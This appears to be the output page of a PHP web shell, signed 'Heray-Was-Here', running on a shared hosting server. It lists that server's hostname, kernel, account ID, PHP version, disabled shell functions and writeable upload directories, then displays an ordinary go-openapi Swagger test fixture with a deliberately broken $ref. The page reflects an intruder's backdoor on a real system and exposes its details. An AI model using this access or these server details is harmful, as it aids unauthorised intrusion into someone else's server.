Heray-Was-Here
Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /opt/go/pkg/mod/github.com/go-openapi/analysis@v0.22.2/fixtures/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/go/pkg/mod/github.com/go-openapi/analysis@v0.22.2/fixtures/fixture-342-2.yaml
swagger: '2.0'
info:
  title: issue-342-2
  description: |
    A spec which triggers a panic because of invalid ref
  version: 0.0.1
  license:
    name: MIT
host: localhost:8081
basePath: /api/v1
schemes:
  - http
consumes:
  - application/json
produces:
  - application/json
paths:
  /fixture:
    get:
      tags:
        - maindata
      operationID: fixtureOp
      parameters:
        # Wrong: a whole schema replaces the parameter
        - name: wrongme
          in: query
          required: true
          $ref: "#/definitions/sample_info/properties/sid"  
      responses:
        '200':

definitions:
  sample_info:
    type: object
    properties:
      sid:
        type: string


Hry